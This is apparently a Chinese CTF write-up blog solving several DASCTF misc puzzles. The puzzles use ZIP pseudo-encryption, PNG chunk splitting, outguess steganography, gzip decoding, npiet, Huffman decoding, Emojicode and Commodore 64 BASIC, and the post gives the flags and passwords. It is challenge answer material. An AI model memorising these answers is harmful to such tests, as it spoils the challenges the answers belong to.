uint deCrc	BEEBC222h	32D94h	4h	Fg: Bg:
uint deCompressedSize	65012	32D98h	4h	Fg: Bg:
uint deUncompressedSize	73727	32D9Ch	4h	Fg: Bg:
ushort deFileNameLength	8	32DA0h	2h	Fg: Bg:
ushort deExtraFieldLeneth	36	32DA2h	2h	Fg: Bg:

选定: 2 个字节 (范围: 208268 [32D8Ch] 到 208269 [32D8Dh])


<https://blog.csdn.net/mochu777777>

一开始以为 `hint.png` 是伪加密，`flag.jpg` 是真加密，结果后面尝试了一下发现两个都是 **伪加密**，直接修改 `ushort deFlags` 为 **偶数**，解压得到两张图

下载 > 简单的png隐写的附件



flag.jpg



hint.png

<https://blog.csdn.net/mochu777777>

题目说是png隐写，`Tweakpng` 或者 `pngcheck` 检查下 `hint.png`

```

root@mochu7 # pngcheck -v hint.png
File: hint.png (73727 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1654 x 485 image, 32-bit RGBA-alpha, non-interlaced
  chunk IDAT at offset 0x00025, length 8192
    zlib: deflated, 32K window, default compression
  chunk IDAT at offset 0x02031, length 8192
  chunk IDAT at offset 0x0403d, length 8192
  chunk IDAT at offset 0x06049, length 2308
  chunk IDAT at offset 0x06959, length 8192
  chunk IDAT at offset 0x08965, length 8192
  chunk IDAT at offset 0x0a971, length 8192
  chunk IDAT at offset 0x0c97d, length 8192
  chunk IDAT at offset 0x0e989, length 8192
  chunk IDAT at offset 0x10995, length 5718
  chunk IEND at offset 0x11ff7, length 0
No errors detected in hint.png (12 chunks, 97.7% compression).

```

发现 IDAT Chunk 未满，后面又开始满了，所以猜测这里是两张图片，而且 chunk 的 length 都一样，感觉像一张图片拆成两张图，然后将另外一张的 IDAT Chunk 放入这张 hint.png，所以直接将后面的 chunk 和结尾全部提取出来加上 png头和IHDR 组成另外一张png图片

名称	值	开始	大小	颜色	注释
struct PNG_SIGNATURE sig		0h	8h	Fg: Bg: █	
struct PNG_CHUNK chunk[0]	IHDR (Critical, Public, Unsafe to Copy)	8h	19h	Fg: Bg: █	
struct PNG_CHUNK chunk[1]	IDAT (Critical, Public, Unsafe to Copy)	21h	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[2]	IDAT (Critical, Public, Unsafe to Copy)	202Dh	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[3]	IDAT (Critical, Public, Unsafe to Copy)	4039h	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[4]	IDAT (Critical, Public, Unsafe to Copy)	6045h	910h	Fg: Bg: █	
struct PNG_CHUNK chunk[5]	IDAT (Critical, Public, Unsafe to Copy)	8955h	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[6]	IDAT (Critical, Public, Unsafe to Copy)	8861h	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[7]	IDAT (Critical, Public, Unsafe to Copy)	A96Dh	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[8]	IDAT (Critical, Public, Unsafe to Copy)	C979h	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[9]	IDAT (Critical, Public, Unsafe to Copy)	E985h	200Ch	Fg: Bg: █	
struct PNG_CHUNK chunk[10]	IDAT (Critical, Public, Unsafe to Copy)	10991h	1662h	Fg: Bg: █	
struct PNG_CHUNK chunk[11]	IEND (Critical, Public, Unsafe to Copy)	11FF3h	Ch	Fg: Bg: █	

<https://blog.csdn.net/mochu777777>

you can guess out where is flag with 89504E

<https://blog.csdn.net/mochu777777>

得到新的提示 outguess，并且密码是：890504E

```

root@kali /home/mochu7/Desktop % outguess -k "89504E" -r flag.jpg flag.txt
Reading flag.jpg...
Extracting usable bits: 147535 bits
Steg retrieve: seed: 232, len: 185
root@kali /home/mochu7/Desktop % cat flag.txt
MUY4QjA4MDg5MTgwNzg1RTAwMDM2NjZDNjE2NzJFNzQ3ODc0MDA0QkNCNDk0Q0FGMzZCMDMwMzQ0RDM1ND1CNjRDMzMzNTMzMzRCMTQ4MzVCNzQ4
NEEzNTMzNDg0OTMyMzU0QjRFRmZUzMTQ5MzFCNUFDRTVFMjAyMDA0NjhCMjIzRjI4MDAwMDAw

```

base64 解码

1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5ACE5E20200468B223F28000000

gzip的十六进制文件数据

gzip

维基百科，自由的百科全书

gzip是一种文件格式，是一种用于文件压缩和解压缩的软件应用程序。该程序是由Jean-loup Gailly和Mark Adler创建的，它是早期Unix系统中使用的compress程序的免费软件替代品，供GNU使用（“g”来自“GNU”）。0.1版于1992年10月31日首次公开发布，而1.0版则在1993年2月发布。

gzip格式的解压缩可以作为流算法来实现，这是Web协议，数据交换和ETL（在标准管道中）应用程序的重要功能。


内容 [hide]
1个 文件格式
2个 实作
3 衍生物和其他用途
4 也可以看看
5 笔记
6 参考
7 外部链接

文件格式 [编辑]

gzip基于DEFLATE算法，该算法是LZ77和Huffman编码的组合。DEFLATE旨在替代LZW和其他受专利保护的数据压缩算法，这些算法当时限制了compress和其他流行存档器的可用性。

“gzip”通常也用于指代gzip文件格式，即：

- 一个10字节的标头，其中包含一个魔术数字（1f 8b），压缩方法（08 用于DEFLATE），1字节的标头标志，4字节的时间戳，压缩标志和操作系统ID。
- 标头标志允许的可选额外标头，包括原始文件名，注释字段，“额外”字段以及标头部分的CRC-32校验和的下半部分。^[3]
- 包含DEFLATE压缩有效负载的主体
- 一个8字节的页脚，含有CRC-32校验和与原始的未压缩的数据的长度，模2³²。^[4]



尽管其文件格式还允许将多个此类流连接在一起（压缩的文件就像原来是一个文件一样被简单地解压缩连接），但^[5] gzip通常用于仅压缩单个文件。^[6] 压缩档案通常是通过将文件集合组装到单个tar档案（也称为tarball）中创建的，^[7] 然后使用gzip压缩该档案。最终的压缩文件通常具有扩展名.tar.gz或.tgz。

不要将gzip与ZIP存档格式混淆，后者也使用DEFLATE。ZIP格式可以在没有外部存档程序的情况下保存文件集合，但是比保存相同数据的压缩tarball紧凑，因为它单独压缩文件并且不能利用文件之间的冗余（实体压缩）。


<https://blog.csdn.net/mochu7777777>

Python简单处理


```
from binascii import *

hexdata = "1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5ACE5E20200468B223F28000000"

with open('flag.gz', 'wb') as f:
    f.write(unhexlify(hexdata))
```



或者 CyberChef 直接可以 base64->hex->Gzip : <https://gchq.github.io/CyberChef/>



flag{0815e4c9f56148e78be60db56ce44d59}

雾都孤儿

下载 > 雾都孤儿的附件




<https://blog.csdn.net/mochu7777777>

1.png 是一种 Colorful programming 叫 npiet : <https://www.bertnase.de/npiet/>
npiet-online : <https://www.bertnase.de/npiet/npiet-execute.php>

Hi,

Welcome to [npiet online](#) !

Info: upload status: Ok
Info: found picture width=160 height=200 and codel size=10
Uploaded picture (shown with a small border): **1.png**



Info: executing: npiet -w -e 220000 1.png

Tetris

[run again!](#)

back to [npiet online](#) - try again !

back to [npiet](#)
back to [bertnase.de](#)

<https://blog.csdn.net/mochu7777777>

得到信息: **Tetris**
然后继续查看 [Oliver Twist.docx](#)



{Among other public buildings in a certain town, which for many reasons it will be prudent to refrain from mentioning, and to which I will assign no fictitious name, there is one anciently common to most towns, great or small: to wit, a workhouse; and in this workhouse was born; on a day and date which I need not trouble myself to repeat, inasmuch as it can be of no possible consequence to the reader, in this stage of the business at all events; the item of mortality whose

name is prefixed to the head of this chapter.

For a long time after it was ushered into this {world} of sorrow and trouble, by the parish surgeon, it remained a matter of considerable doubt whether the child would survive to bear any name at all; in which case it is somewhat more than probable that these memoirs would never have appeared; or, if they had, that being comprised within a couple of pages, they would have possessed the inestimable merit of being the most concise and faithful specimen of biography, extant in the literature of any age or country.

Although I am not disposed to maintain that the being born in a workhouse, is in itself the most fortunate and enviable circumstance that can possibly befall a human being, I do mean to say that in this particular instance, it was the best thing for Oliver Twist that could by possibility have

只有这一张图片了，改 docx 后缀为 zip 取出原图 image1.jpeg



JPG图片，然后有密钥： Tetris ，试了几个常见的jpg隐写，发现是 outguess 隐写

```
image1.jpeg
root@kali /home/mochu7/Desktop % mv image1.jpeg image1.jpg
root@kali /home/mochu7/Desktop % ls
image1.jpg
root@kali /home/mochu7/Desktop % outguess -k 'Tetris' -r image1.jpg flag.txt
Reading image1.jpg....
Extracting usable bits: 28938 bits
Steg retrieve: seed: 218, len: 390
root@kali /home/mochu7/Desktop % ls
flag.txt image1.jpg
root@kali /home/mochu7/Desktop % cat flag.txt
100000001001
11010101110
10000001101
100000001010
110101010
1101010110111
100000001000
110101010
0001
0100
11011
11010100110
110101000
11011
11010100110
11010101111
1100100
101101
101101
1001
101110
11010100110
100000001001
0100
101111
```

```
11010110
001
0101
11011
11010100110
11011
001
101111
0000
001
1010
11010100110
1000000111
1000000111
110101011000
root@kali /home/mochu7/Desktop % https://blog.csdn.net/mochu7777777
```

```
10000001001
11010101110
10000001101
10000001010
110101010
1101010110111
10000001000
110101010
0001
0100
11011
11010100110
110101000
11011
11010100110
11010101111
1100100
101101
101101
1001
101110
11010100110
10000001001
0100
101111
11010110
001
0101
11011
11010100110
11011
001
101111
0000
001
1010
11010100110
1000000111
1000000111
110101011000
```

到这里就不会了...，参考 [fzwjscj师傅](#) 的writeup文章中的脚本

原文链接：http://www.fzwjscj.xyz/index.php/archives/41/?_wv=16777223&_bid=3354

自制编码，[ouguess](#) 提取出来的是 [Huffman](#) 编码，对docx文档中进行字频统计，然后进行哈夫曼编码得到flag

```

#Huffman Encoding
#Tree-Node Type

import random
class Node:
    def __init__(self, freq):
        self.left = None
        self.right = None
        self.father = None
        self.freq = freq
    def isLeft(self):
        return self.father.left == self
#create nodes 创建叶子节点
def createNodes(freqs):
    return [Node(freq) for freq in freqs]

#create Huffman-Tree 创建Huffman树
def createHuffmanTree(nodes):
    queue = nodes[:]
    print(queue) #一个个node的地址
    #每次对queue进行排序,
    while len(queue) > 1:
        queue.sort(key=lambda item:item.freq) #reverse = false
        node_left = queue.pop(0)
        node_right = queue.pop(0)
        node_father = Node(node_left.freq + node_right.freq)
        node_father.left = node_left
        node_father.right = node_right
        node_left.father = node_father
        node_right.father = node_father
        queue.append(node_father)
    queue[0].father = None
    return queue[0]

#Huffman 编码
def huffmanEncoding(nodes, root):
    codes = [''] * len(nodes)
    for i in range(len(nodes)):
        node_tmp = nodes[i]
        while node_tmp != root:
            if node_tmp.isLeft():
                codes[i] = '0' + codes[i]
            else:
                codes[i] = '1' + codes[i]
            node_tmp = node_tmp.father
    return codes

def freq_count(strr):
    chars = []
    chars_fre = []
    for i in range(len(strr)):
        if strr[i] in chars:
            pass
        else:
            chars.append(strr[i])
            char_fre = (strr[i], strr.count(strr[i]))
            chars_fre.append(char_fre)
    return chars_fre

def encoder_huffman(strr, chars_fre, codes):
    huffman = ''

```



```

huffmans = {}
for word in strr:
    i = 0
    #用于与code【i】还有item 的符号一一对应
    for item in chars_fre:
        if word == item[0]:
            huffmans += codes[i]
        i += 1
print(huffmans)
return huffmans

def decode_huffman(huffmans,codes,chars_fre):
    original_code=''
    while huffmans!='':
        i=0
        for item in codes:
            if item in huffmans:
                if huffmans.index(item) ==0:
                    original_code += chars_fre[i][0]
                    huffmans=huffmans[len(item):]
                i+=1
    return original_code

if __name__ == '__main__':
    sttttt=""
    sttttt = open('docx.txt','r').read()#docx.txt为Oliver Twist.docx中提取出来的文字
    chars_freqs = []
    chars_freqs = freq_count(sttttt)
    print('文本中字符的统计如下: \n'+str(chars_freqs))
    nodes = createNodes([item[1] for item in chars_freqs])
    root = createHuffmanTree(nodes)
    codes = huffmanEncoding(nodes,root)
    res = {}
    for item in zip(chars_freqs,codes):
        print ('Character:%s freq:%-2d encoding: %s' % (item[0][0],item[0][1],item[1]))
        res.update({item[1]:item[0][0]})
    print(res)
    d2 = open('flag.txt','r').readlines()#flag.txt为outguess提取出来的编码
    re = ''
    for i in d2:
        re+=res[i[:-1]]
    print(re)

```

DASCTF{This_Is_Hvffam_Dickens_secret_!!}

小田的秘密

名称	压缩后大小	原始大小	类型
misc.pcapng	37,535	259,436	Wireshark capt...
misc.zip	738	776	ZIP 压缩文件

解压，得到一个有密码的压缩包和一个流量包 misc.pcapng

The screenshot shows a file explorer window for 'misc.zip' containing '64*' and 'flag.rar*'. A '输入密码' (Enter Password) dialog box is overlaid, stating '该文件已加密。' (This file is encrypted.) and '请输入密码' (Please enter password). There is an empty text input field and a checkbox for '用星号隐藏密码(H)' (Hide password with asterisks). Buttons for '确定' (OK) and '取消' (Cancel) are at the bottom.

猜测要从 misc.pcapng 中找到压缩包密码，追踪下 TCP 流量，找到一个 gift 的文件

The screenshot shows Wireshark's packet list and details pane. The selected packet is a TCP stream (194) containing an HTTP request. The 'Content-Disposition' is 'form-data; name="uploaded"; filename="gift"'. The body of the request is a multipart form-data payload with a 'gift' file. The file's content is shown as a series of hexadecimal characters: 'c0f1b6a831c399e2...second... 9b675bd57058fd46...third... e6ae2fec3ad71c77...fourth... 89f58062f10dd731...fifth... 6316e53c8cdd9d99...dic... dic... first... aa... aa... aa... aa... 9ac6133c88aedbd6... 26602a67be14ea8c... 73b5f8d8ccd5ad31... c42125f82a562231... sdasca... sdasca... sdasca 0... a109e294d1e8155be8aa4... 8adf7f2f76030877... eba66e10fba74dbf... a7749e813e9e2dba...'. The details pane shows the 'Content-Type: application/octet-stream' and 'Content-Disposition: form-data; name="submit"' for the next part of the form.

到处对象->HTTP 在 index.php 中得到这个 gift 文件

```

c0f1b6a831c399e2second 9b675bd57058fd46third e6ae2fec3ad71c77four
th 89f58062f10dd731fifth 6316e53c8cdd9d99 dic dic
first aa aa aa aa 9ac6133c88aedbd6 26602a67be14ea8c 73b5f8d8ccd5ad31
c42125f82a562231 sdasca sdasca sdasca 0 a109e294d1e8155be8aa4
8adf7f2f76030877 eba66e10fba74dbf a7749e813e9e2dba

```

是 `Emojicode`，`emojicode`官网：<https://www.emojicode.org/>

安装使用教程：<https://www.emojicode.org/docs/guides/install.html>

直接对 `gift` 文件内容进行编译，得到可执行文件

```
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ls
emojidec gift.txt include install.sh packages
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % mv gift.txt gift.emojic
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ls
emojidec gift.emojic include install.sh packages
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./emojidec gift.emojic
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ls
emojidec gift gift.emojic gift.o include install.sh packages
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % gift
zsh: command not found: gift
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
c42125f82a562231
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
26602a67be14ea8c
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
26602a67be14ea8c
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
26602a67be14ea8c
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
c42125f82a562231
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
73b5f8d8ccd5ad31
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
73b5f8d8ccd5ad31
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
26602a67be14ea8c
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 % ./gift
c0f1b6a831c399e2
+
26602a67be14ea8c
root@kali ~/tools/Emojicode-1.0-beta.2-Linux-x86_64 %
```

运行之后发现每次运行之后的第二段内容不一定一样，稍微试了几次发现 `misc.zip` 的压缩包密码

是：`c0f1b6a831c399e226602a67be14ea8c`

解压得到 `flag.rar` 和 `64`，`64` 是一种叫 `Commodore 64` 的语言，详情见wiki：https://en.wikipedia.org/wiki/Commodore_64

C64在线运行站：<https://virtualconsoles.com/online-emulators/c64/>

```
10?:A=356142;GOSUB20:A=762;GOSUB20:A=222440;GOSUB20:END
20A=RND(-A)
30A=INT(RND(A)*22):IF A THEN ?CHR$(A+64);:GOTO30
40?" ";:RETURN
RUN
```

输入一遍，Save之后点击RUN



得到: NOT AN EGG

解压 flag.rar 得到flag

```
6bffd0d9321df3c229cdf714bb5a0b0
```

Ascii_art

ascii_art的附件.zip - Bandizip 6.27


文件(F) 编辑(E) 查找(I) 选项(O) 视图(V) 帮助(H)



```
root@mochu7-pc:/mnt/c/Users/Administrator/Downloads# ls  
ascii_art  ascii_art的附件.zip  desktop.ini
```


连总共有八位，十位，十二位都看不清楚，猜了很多个试了很多次校验了一下都不对，可能思路不对吧，part3猜不出来 part4.zip 的密码并不是给出的 part4 key，也不是 part2 后面的，part4 key 可能是 part4.zip 解出来的密文的密钥，至于压缩包密码，也不知道怎么做，伪加密不是，试了下爆破也没出，这题就卡在这里了

问卷调查



提交成功

恭喜您提交成功，喜提flag一枚~ DASCTF{3d579ef3b2b5c44066454b7fb7edb4f8}

创建我的表单

此表单是使用番茄表单创建的

番茄表单 提供技术支持 <https://blog.csdn.net/mochu777777>

DASCTF{3d579ef3b2b5c44066454b7fb7edb4f8}